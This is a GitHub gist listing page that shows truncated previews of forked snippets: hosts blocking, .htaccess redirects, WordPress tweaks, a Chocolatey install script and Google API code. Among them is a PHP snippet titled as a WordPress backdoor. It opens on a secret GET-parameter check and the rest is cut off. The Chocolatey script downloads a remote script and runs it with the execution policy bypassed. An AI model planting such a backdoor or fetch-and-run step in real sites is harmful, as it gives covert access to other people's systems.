Skip to content

Instantly share code, notes, and snippets.

bahattab / Hosts File To Block Shock Sites
Last active Jun 3, 2022 — forked from consti/hosts
/etc/hosts to block shock sites etc.
View Hosts File To Block Shock Sites
# This hosts file is brought to you by Dan Pollock and can be found at
# You are free to copy and distribute this file for non-commercial uses,
# as long the original URL and attribution is included.
#<localhost> localhost localhost.localdomain broadcasthost
::1 localhost
bahattab / .htaccess
Created Oct 2, 2021 — forked from vielhuber/.htaccess
Apache: htaccess force www and https ssl #server
View .htaccess
# force HTTPS and www.
RewriteEngine On
RewriteCond %{HTTP_HOST} (?!^www\.)^(.+)$ [OR]
RewriteCond %{HTTPS} off
RewriteRule ^ https://www.%1%{REQUEST_URI} [R=301,L]
# alternative way
RewriteCond %{HTTP_HOST} !^$
RewriteCond %{HTTP_HOST} !^www\. [NC]
bahattab / DNS Prefetch domains
Created Aug 6, 2020 — forked from lukecav/DNS Prefetch domains
WP Rocket - Advanced Options Prefetch DNS requests
View DNS Prefetch domains
bahattab / Create a backdoor to a WordPress website - backdoor.php
Last active Aug 6, 2020 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
View Create a backdoor to a WordPress website - backdoor.php
# Create a backdoor to a WordPress website
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
bahattab / functions.php
Created Jun 23, 2020 — forked from lukecav/functions.php
Disable Elementor overview dashboard widget in WordPress
View functions.php
function disable_elementor_dashboard_overview_widget() {
remove_meta_box( 'e-dashboard-overview', 'dashboard', 'normal');
add_action('wp_dashboard_setup', 'disable_elementor_dashboard_overview_widget', 40);
bahattab / NonAdmin.cmd
Created Dec 25, 2019 — forked from ferventcoder/NonAdmin.cmd
Installing Software as a Non-Administrator Using Chocolatey
View NonAdmin.cmd
:: Pick one of these two files (cmd or ps1)
:: Set directory for installation - Chocolatey does not lock
:: down the directory if not the default
SET INSTALLDIR=c:\ProgramData\chocoportable
setx ChocolateyInstall %INSTALLDIR%
:: All install options - offline, proxy, etc at
@powershell -NoProfile -ExecutionPolicy Bypass -Command "(iex ((new-object net.webclient).DownloadString(''))) >$null 2>&1" && SET PATH="%PATH%;%INSTALLDIR%\bin"
bahattab /
Last active Aug 22, 2019 — forked from sorashi/
Add CMD to Context Menu - Windows registry edit that adds Windows command-line, Powershell and optionally GIT Bash to directory context menu

Registry edit that allows you to add Windows command-line, Powershell and/or GIT Bash to explorer context menu. source

bahattab / forms.html
Created Jul 19, 2019 — forked from MdKutubuddinSardar/forms.html
Receive Files in Google Drive
View forms.html
<!DOCTYPE html>
<base target="_blank">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Google File Upload by</title>
<link href="" rel="stylesheet">
<link rel="stylesheet" href="">
.disclaimer{width: 480px; color:#646464;margin:20px auto;padding:0 16px;text-align:center;font:400 12px Roboto,Helvetica,Arial,sans-serif}.disclaimer a{color:#009688}#credit{display:none}
bahattab /
Created Jul 19, 2019 — forked from mhawksey/
Code used in tutorial for setting up Blogger API with Google Apps Script
function getService() {
// Create a new service with the given name. The name will be used when
// persisting the authorized token, so ensure it is unique within the
// scope of the property store.
return OAuth2.createService('blogger')
// Set the endpoint URLs, which are the same for all Google services.
bahattab / gist:7ff91e607595d782dd23ffc09a5c0879
Last active Jul 19, 2019 — forked from avinashkoyyana/gist:7944221 code - Copy YouTube playlists to your profile From amit Agarwal credit to amit source :
View gist:7ff91e607595d782dd23ffc09a5c0879
require_once 'php-google-api-client/src/Google_Client.php';
require_once 'php-google-api-client/src/Google_YouTubeService.php';